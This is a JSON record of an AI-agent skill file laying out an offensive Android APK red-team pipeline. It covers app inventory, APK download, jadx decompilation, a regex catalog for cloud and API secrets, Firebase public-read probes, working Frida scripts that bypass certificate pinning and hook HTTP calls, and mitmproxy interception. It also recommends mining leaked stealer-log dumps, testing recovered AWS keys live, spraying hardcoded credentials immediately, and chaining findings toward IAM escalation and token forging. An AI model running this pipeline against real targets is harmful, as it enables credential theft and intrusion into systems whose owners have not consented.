{"id":"apk-redteam-pipeline","name":"apk-redteam-pipeline","summary":"エンドツーエンドのAndroid APK red-teamパイプライン — 自動APK取得(Play Store + apkpure + apkmirror fallback)、jadxの逆コンパイル、secret/URL/JWT/Firebase grep、pinned-cert extraction、export…","body":"## When to use this skill\n\nTrigger when:\n- Recon surfaces 1+ mobile apps under the target's developer name (Play Store dev page)\n- A web app hosts `*.apk` files directly (e.g. `Recruitz.apk` found on a subdomain during one engagement)\n- APK package IDs leaked via stealer logs (e.g. `com.<brand>.app`, `com.<brand>.<sub-brand>` patterns in stealer dump format)\n- Customer-facing app, dealer/partner portal, or employee mobile companion app is in scope\n- Bug bounty program lists Android in scope\n\nDO NOT use for:\n- iOS-only targets (different pipeline — IPA reverse, MobSF, frida-ios-dump)\n- React Native / Flutter web apps already covered by JS bundle analysis\n- Server-side only assessments\n\n---\n\n## Stage 0 — Inventory all org-owned apps\n\n### Play Store developer-page scrape\n```bash\n# Find developer page from the target's brand name\ncurl -sk -A \"Mozilla/5.0\" \"https://play.google.com/store/apps/developer?id=<Brand+Name>\" -o /tmp/dev.html\n\n# Extract package IDs\ngrep -oE 'id=[a-zA-Z0-9._]+' /tmp/dev.html | sort -u\n```\n\nExample output (anonymized — 7 packages typical for a multi-brand conglomerate):\n```\ncom.events.<brand>build\ncom.<corp>.<sub-brand-1>\ncom.<corp>.<sub-brand-2>\ncom.<corp>.<flagship>\ncom.<corp>.<product-line-1>\ncom.<corp>.<product-line-2>\ncom.<corp>.<sub-brand-3>\n```\n\n### Cross-reference with stealer logs\nStealer-log format includes package names like `*@com.<corp>.<app>` — extract these from `creds_userpass.txt` if you have a leaked dump.\n\n### Brand permutation guesses (multi-brand conglomerate patterns)\n```\ncom.<brand>.app\ncom.<brand>.mobile  \ncom.<brand>.android\ncom.<brand>connect.app\nin.<brand>.dealer\nin.co.<brand>.app\n```\n\n---\n\n## Stage 1 — APK acquisition\n\n### Primary: APKPure direct (no auth required)\n```bash\n# Follow 302 redirects to actual download\ncurl -sk -L --max-time 60 \\\n  \"https://d.apkpure.net/b/APK/<package_id>?version=latest\" \\\n  -o \"<package_id>.apk\"\n\n# Or via the legacy d-XX.winudf.com mirror chain (we saw this work)\n```\n\n### Secondary: APKMirror search\n```bash\ncurl -sk -A \"Mozilla/5.0\" \"https://www.apkmirror.com/?post_type=app_release&searchtype=apk&s=<brand>\" \\\n  | grep -oE 'href=\"[^\"]+\\.apk[^\"]*\"' | sort -u\n```\n\n### Tertiary: APKPure web search\n```bash\ncurl -sk \"https://apkpure.com/search?q=<brand>\" | grep -oE 'data-dt-app=\"[^\"]+\"'\n```\n\n### XAPK vs APK\n- `.xapk` = a zip containing multiple split APKs (base + config.armeabi-v7a + config.en + etc.)\n- Unzip outer first, then unzip the inner `base.apk` or `<package>.apk`\n- Some apkpure downloads return truncated XAPK with missing EOCD signature — symptom of CDN rate-limiting; rotate IP and retry, OR use `7z x` which is more lenient than `unzip`\n\n```bash\n# Standard unzip (works for clean APK)\nunzip -o <package>.apk -d extracted_<package>/\n\n# For truncated/repaired XAPK\n7z x -y <package>.apk -o\"extracted_<package>\"\n\n# For nested XAPK\nfor inner in extracted_<package>/*.apk; do\n  mkdir -p \"extracted_<package>/$(basename \"$inner\" .apk)\"\n  unzip -o \"$inner\" -d \"extracted_<package>/$(basename \"$inner\" .apk)\"\ndone\n```\n\n---\n\n## Stage 2 — DEX decompilation (jadx)\n\n```bash\n# Install\nbrew install jadx          # macOS\n# or\nwget https://github.com/skylot/jadx/releases/latest/download/jadx-1.5.x.zip\n\n# Decompile\njadx -d decompiled_<package>/ <package>.apk\n\n# For XAPK that contains multiple APKs\nfor inner in extracted_<package>/*.apk; do\n  jadx -d decompiled_<package>_$(basename \"$inner\" .apk)/ \"$inner\"\ndone\n```\n\nFor a fast \"strings only\" pass without full decompilation:\n```bash\nfind extracted_<package> -name \"classes*.dex\" -exec strings -8 {} \\; > strings_<package>.txt\n```\n\n---\n\n## Stage 3 — Secret grep (the 60-pattern catalog)\n\n```bash\n# URL grep — owned-domain references\ngrep -oE 'https?://[a-zA-Z0-9.-]+\\.(target1|target2|target3)\\.(com|io|net|in)[a-zA-Z0-9./_?=&%-]*' strings_<package>.txt | sort -u\n\n# Internal IP / port URLs\ngrep -oE 'https?://(10\\.|172\\.(1[6-9]|2[0-9]|3[01])\\.|192\\.168\\.|127\\.)[0-9.]+(:[0-9]+)?[a-zA-Z0-9./_?=&-]*' strings_<package>.txt\n\n# Cloud credentials\ngrep -oE 'AKIA[A-Z0-9]{16}'                            # AWS Access Key\ngrep -oE 'aws_secret_access_key[\\s:=]+[A-Za-z0-9/+=]{40}' # AWS Secret\ngrep -oE 'AIza[A-Za-z0-9_-]{35}'                       # Google API key\ngrep -oE 'ya29\\.[A-Za-z0-9_-]+'                        # Google OAuth refresh token\ngrep -oE 'gh[ps]_[A-Za-z0-9]{36}'                      # GitHub PAT\ngrep -oE 'glpat-[A-Za-z0-9_-]{20}'                     # GitLab PAT\ngrep -oE 'xox[pbar]-[A-Za-z0-9-]+'                     # Slack token\ngrep -oE 'sk-[A-Za-z0-9]{48}'                          # OpenAI API key\ngrep -oE 'sk-ant-[A-Za-z0-9_-]{90,}'                   # Anthropic API key\ngrep -oE 'AC[a-f0-9]{32}'                              # Twilio Account SID\ngrep -oE 'sk_live_[A-Za-z0-9]{24}'                     # Stripe live key\ngrep -oE 'pk_live_[A-Za-z0-9]{24}'                     # Stripe publishable\ngrep -oE 'mailgun-[A-Za-z0-9-]{40}'                    # Mailgun\ngrep -oE 'SG\\.[A-Za-z0-9_-]{22}\\.[A-Za-z0-9_-]{43}'    # SendGrid\n\n# JWT (any algorithm)\ngrep -oE 'eyJ[A-Za-z0-9_-]+\\.eyJ[A-Za-z0-9_-]+\\.[A-Za-z0-9_-]*' strings_<package>.txt\n\n# Firebase\ngrep -oE '\"(api_key|project_id|database_url|storage_bucket|client_id|mobilesdk_app_id|google_app_id|gcm_defaultSenderId)\"\\s*:\\s*\"[^\"]+\"' \\\n  extracted_<package>/res/values/strings.xml \\\n  extracted_<package>/google-services.json \\\n  decompiled_<package>/resources/AndroidManifest.xml 2>/dev/null\n\n# OAuth client secrets\ngrep -oE 'client_secret[\"\\s:=]+[A-Za-z0-9_-]{24,}' strings_<package>.txt\n\n# Hardcoded passwords (heuristic — many false positives, manual review)\ngrep -oE '\"password\"\\s*:\\s*\"[^\"]+\"|password\\s*=\\s*\"[^\"]+\"' decompiled_<package>/sources/**/*.java 2>/dev/null\n```\n\n### Real-world example finding (anonymized — from an authorized engagement)\n```\n# Customer-facing APK shipped a hardcoded URL of this shape:\nhttps://api.<client>.example/<path-token>/<resource-token>?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.<payload>.<sig>\n\n# Decoded JWT payload: {\"sid\":<int>,\"iat\":<unix-ts>,\"exp\":<unix-ts>}\n# Expired ~8 years earlier — but path tokens + 30 /v1/* endpoints still useful intel\n```\n\n---\n\n## Stage 4 — Pinned certificate extraction\n\n```bash\n# Find .cer / .der / .pem files in assets/\nfind extracted_<package>/assets -iname \"*.cer\" -o -iname \"*.der\" -o -iname \"*.pem\" -o -iname \"*.crt\" 2>/dev/null\n\n# Or in network_security_config.xml\nfind extracted_<package> -name \"network_security_config.xml\" -exec cat {} \\;\n\n# For each cert, extract subject + SAN (might reveal new internal API hosts)\nfor cert in $(find extracted_<package>/assets -iname \"*.cer\"); do\n  echo \"=== $cert ===\"\n  openssl x509 -in \"$cert\" -noout -subject -issuer -dates 2>/dev/null\n  openssl x509 -in \"$cert\" -noout -text 2>/dev/null | grep -E 'Subject:|DNS:|Issuer:|Validity'\ndone\n```\n\n### Real-world example\nA customer-facing APK from an authorized engagement contained `assets/api_<service>_<domain>_com.cer` — revealed the existence of an `api.<service>.<domain>.example` asset that had NOT surfaced in passive recon.\n\n---\n\n## Stage 5 — Exported component enumeration\n\nAndroidManifest.xml lists components. Exported ones (especially with `android:exported=\"true\"` or implicit-export via intent-filter) can be triggered by other apps — potential intent-injection attack surface.\n\n```bash\n# Decode binary AndroidManifest if needed\napktool d <package>.apk -o decoded_<package>/    # apktool decodes binary manifest\n\n# Or read directly from jadx output\ncat decompiled_<package>/resources/AndroidManifest.xml | grep -E '<(activity|service|receiver|provider)' | head -50\n\n# Filter exported\ngrep -E 'android:exported=\"true\"' decompiled_<package>/resources/AndroidManifest.xml\n```\n\nFor each exported component, check:\n- Does it accept extras that flow into a WebView (intent → WebView → XSS / file://)\n- Does it accept URI extras (potential SSRF via deep link)\n- Does it pass extras to other Activities (intent redirection)\n\n---\n\n## Stage 6 — Firebase / cloud-service config inspection\n\n```bash\n# google-services.json — full Firebase config\nfind extracted_<package> -name \"google-services.json\" -exec cat {} \\; | python3 -m json.tool\n\n# Look for:\n#   project_id   → can guess Firestore / RTDB URL: https://<project_id>.firebaseio.com/.json\n#   storage_bucket → can guess GCS bucket: gs://<bucket>\n#   web_api_key  → can use to enumerate Firebase tenant config\n\n# Test if Firestore is publicly readable\ncurl -s \"https://firestore.googleapis.com/v1/projects/<project_id>/databases/(default)/documents/users\"\n\n# Test if Realtime DB is publicly readable\ncurl -s \"https://<project_id>.firebaseio.com/.json\"\n\n# Test if Storage Bucket is publicly listable\ncurl -s \"https://firebasestorage.googleapis.com/v0/b/<bucket>/o\"\n```\n\n---\n\n## Stage 7 — Runtime instrumentation (Frida)\n\nFor when static analysis isn't enough — you want to dump tokens at runtime, bypass cert pinning, or trace API calls.\n\n### Setup\n```bash\npip install --break-system-packages frida-tools objection\nadb devices  # ensure device/emulator connected\n# Push frida-server to device (root required, or use rooted emulator like Genymotion / x86_64 AVD)\n```\n\n### Cert-pinning bypass (universal)\n```javascript\n// frida-script-pinning-bypass.js\nJava.perform(function() {\n    // OkHttp\n    try {\n        var CertificatePinner = Java.use('okhttp3.CertificatePinner');\n        CertificatePinner.check.overload('java.lang.String', 'java.util.List').implementation = function() {\n            console.log('[+] OkHttp pinning bypassed for: ' + arguments[0]);\n            return;\n        };\n    } catch (e) {}\n    // HttpsURLConnection\n    try {\n        var TrustManagerImpl = Java.use('com.android.org.conscrypt.TrustManagerImpl');\n        TrustManagerImpl.verifyChain.implementation = function(chain) {\n            console.log('[+] TrustManagerImpl verifyChain bypassed');\n            return chain;\n        };\n    } catch (e) {}\n});\n```\n```bash\nfrida -U -l frida-script-pinning-bypass.js -f <package_id> --no-pause\n```\n\n### Hook HTTP requests\n```javascript\nJava.perform(function() {\n    var OkHttpClient = Java.use('okhttp3.OkHttpClient');\n    var Request = Java.use('okhttp3.Request');\n    var Call = Java.use('okhttp3.Call');\n    \n    OkHttpClient.newCall.implementation = function(req) {\n        var url = req.url().toString();\n        var headers = req.headers().toString();\n        console.log('[REQ] ' + url);\n        console.log('[HDRS] ' + headers);\n        return this.newCall(req);\n    };\n});\n```\n\n### Quick token extraction via objection\n```bash\nobjection --gadget com.target.app explore\n# Inside:\nandroid hooking watch class_method <class>.<method> --dump-args --dump-return\n```\n\n---\n\n## Stage 8 — Network traffic capture (via mitmproxy)\n\nFor deeper API discovery once pinning is bypassed.\n\n```bash\n# Run mitmproxy on host\nmitmproxy --listen-port 8080\n\n# Configure Android device proxy to host:8080\n# Install mitmproxy CA cert on device:\n#   - Pull from http://mitm.it on the device, or\n#   - Push to /system/etc/security/cacerts/ on rooted device\n\n# Use the Frida pinning bypass script while traffic flows through mitmproxy\n# All API calls visible in mitmproxy UI\n```\n\n---\n\n## Decision tree — what to do with what you find\n\n| Finding | Next move |\n|---|---|\n| Active JWT (not expired) | Test against the API host — does it grant access? Try sid manipulation |\n| Expired JWT | Inspect path tokens / API endpoint structure — useful intel for post-VPN |\n| AWS access key | Use `awscli` to test: `aws sts get-caller-identity` — many leaked keys still have permissions |\n| Firebase project_id + web_api_key | Test public Firestore/RTDB/Storage read |\n| Google API key (AIza*) | Test against `https://www.googleapis.com/customsearch/v1` etc. — see what API the key activates |\n| Hardcoded HTTP URLs (http://) | Possible MITM via downgrade if cert pinning is missing |\n| Pinned cert for internal host | New asset discovery — that host is real |\n| Exported Activity with WebView | Test intent-injection → URL-loading abuse |\n| Stack-trace artifacts (Stack Overflow URLs) | Identify the developer's questions → infer architecture |\n| Hardcoded credentials | Spray immediately (respect any caps from related skills) |\n\n---\n\n## Anti-patterns\n\n- **Don't grep only for \"password\"** — most secrets have specific high-signal patterns (AKIA, AIza, eyJ, etc.). Generic word grep produces too much noise.\n- **Don't skip XAPK split APKs** — config.armeabi splits and config.<lang> splits sometimes contain different code paths.\n- **Don't trust expired JWTs as \"dead intel\"** — the path structure, endpoint list, and signing algorithm are still useful. The 8-year-expired-JWT example above shows this.\n- **Don't reverse only the latest version** — older APK versions (via APKMirror version history) sometimes have secrets removed in newer versions but still active server-side.\n- **Don't ignore Firebase even if app looks \"simple\"** — Firebase rules misconfigurations (public read on Firestore) are extremely common.\n- **Don't run Frida on a production device** — use rooted emulator or test device only.\n\n---\n\n## Tooling install (one-time)\n\n```bash\nbrew install jadx p7zip\npip install --break-system-packages frida-tools objection\n# Genymotion or AVD for rooted Android emulator\n```\n\nFor APK download convenience, can add a `download-apk` shell function:\n```bash\ndownload-apk() {\n  local pkg=\"$1\"\n  curl -sk -L --max-time 60 \"https://d.apkpure.net/b/APK/$pkg?version=latest\" -o \"$pkg.apk\"\n  echo \"Downloaded $(wc -c < \"$pkg.apk\") bytes\"\n  file \"$pkg.apk\"\n}\n```\n\n---\n\n## Bridge to neighboring skills\n\n- `offensive-osint` — Play Store / APKMirror enum is part of broader OSINT\n- `hunt-cloud-misconfig` — Firebase public-read is exactly this skill's specialty post-discovery\n- `hunt-api-misconfig` — JWT manipulation once you have the algorithm + sample token\n- `evidence-hygiene` — extracted secrets need redaction before report inclusion\n- `redteam-mindset` — APK reverse on day-1 of an engagement, not as an afterthought\n\n---\n\n## Real-world finding template (anonymized — authorized engagement)\n\n**Finding: Hardcoded JWT + 30+ Internal API Endpoints in a customer-facing APK**\n\n- Subject: Hardcoded artifacts in legacy mobile build reveal internal API surface\n- Observations: Decompilation of `com.<client>.<app>` revealed embedded JWT (expired ~8 years earlier) and 30+ `/v1/*` endpoint paths against `api2.<client>.example` (internal-only externally)\n- Description: APK ships with developer build artifacts. Path tokens are security-by-obscurity; API endpoint inventory is reconnaissance-grade.\n- Impact: Post-VPN-foothold (via cred compromise), attacker has full API surface map without binary reverse. HS256 secret recovery (via SSRF/LFI) would yield arbitrary token forging.\n- Recommendation: rotate HS256 secret, migrate to RS256, remove hardcoded URLs from builds, audit all org APKs.\n- Evidence: extracted strings, decoded JWT, endpoint inventory\n\n---\n\n## Related Skills & Chains\n\n- **`cloud-iam-deep`** — APK secret extraction frequently yields live AWS/GCP/Azure credentials. Chain primitive: jadx string-grep produces AWS Access Key ID + Secret → `cloud-iam-deep` `aws sts get-caller-identity` → role/policy enumeration → IAM privilege-escalation path (one of 24 documented AWS escalation patterns) → cloud-plane takeover. Same flow applies to GCP service-account JSON and Azure shared-access-signature tokens extracted from APK resources.\n- **`hunt-api-misconfig`** — APK endpoint inventory hands you the API surface for free; mass-assignment, JWT, and CORS bugs are typical. Chain primitive: APK reveals `/v1/users/me` and `/v1/admin/users` → `hunt-api-misconfig` mass-assignment probes (`{is_admin:true}`) against `/v1/users/me` → admin role escalation → access to `/v1/admin/users`.\n- **`hunt-rce`** — Hardcoded JWT signing secrets (HS256) extracted from APK enable arbitrary token forging. Chain primitive: APK strings yield HS256 secret → forge admin token → access admin API → if API has eval/template/sink → `hunt-rce` to server. Also: exported components with intent-injection sinks can reach `Runtime.exec` if app is local-installed.\n- **`offensive-osint`** — APK is one node in the broader org recon graph; pair with breach corpora and cert transparency. Chain primitive: APK reveals internal API hostname `api2.example.com` → `offensive-osint` certificate-transparency lookup → discover sibling subdomains → expanded attack surface.\n- **`redteam-report-template`** — APK findings need clear \"what the binary leaks\" framing because client engineers often dismiss mobile-static findings as \"obfuscation problem.\" Chain primitive: validated finding (token/URL/secret extracted) → `triage-validation` 7-Question Gate (specifically: \"does this credential still authenticate today?\") → `redteam-report-template` packaging with explicit binary version + extraction reproduction steps.","author":"@elementalsouls","ownerProfile":null,"authorContacts":null,"sourceUrl":"https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/apk-redteam-pipeline","license":"MIT","category":"coding","lang":"en","tokens":4511,"stars":0,"calls30d":2,"claimed":false,"visibility":"public","origin":"crawler","version":"0.1.0","createdAt":"2026-08-22","updatedAt":"2026-08-22","files":[],"requires":{"mcp":[],"tools":[]},"safety":{"flags":[],"scannedAt":"2026-08-22","hasScripts":false,"networkEndpoints":["apkpure.com","d.apkpure.net","firebasestorage.googleapis.com","firestore.googleapis.com","mitm.it","play.google.com","www.apkmirror.com","www.googleapis.com"]}}